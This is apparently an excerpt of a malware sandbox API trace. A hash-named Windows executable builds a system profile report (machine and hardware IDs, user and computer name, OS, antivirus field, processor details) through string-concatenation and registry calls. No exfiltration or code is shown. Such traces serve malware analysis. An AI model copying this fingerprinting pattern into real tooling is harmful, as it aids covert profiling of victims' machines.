[0054.757] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.757] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: ", lpString2="UTC1" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1"
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1", lpString2="\n\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n"
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n", lpString2="[Hardware]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]"
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\n"
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\n", lpString2="Processor: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: "
[0054.757] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20119, phkResult=0x1820c4 | out: phkResult=0x1820c4*=0x508) returned 0x0
[0054.757] RegQueryValueExA (in: hKey=0x508, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x1821c8, lpcbData=0x1820c0*=0xff | out: lpType=0x0, lpData=0x1821c8*=0x49, lpcbData=0x1820c0*=0x28) returned 0x0
[0054.757] RegCloseKey (hKey=0x508) returned 0x0
[0054.757] CharToOemA (in: pSrc="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", pDst=0x1820c8 | out: pDst="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 1
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: ", lpString2="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz"
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\n"
[0054.757] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\n", lpString2="Cores: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: "
[0054.757] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x1822c8 | out: Buffer=0x0, ReturnedLength=0x1822c8) returned 0
[0054.757] GetLastError () returned 0x7a
[0054.757] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x224) returned 0x67d910
[0054.757] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x67d910, ReturnedLength=0x1822c8 | out: Buffer=0x67d910, ReturnedLength=0x1822c8) returned 1
[0054.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0054.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da78
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.759] GetLastError () returned 0x7a
[0054.759] SetLastError (dwErrCode=0x7a)
[0054.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da78 | out: hHeap=0x670000) returned 1
[0054.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0054.760] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: ", lpString2="4" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4"
[0054.760] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\n"
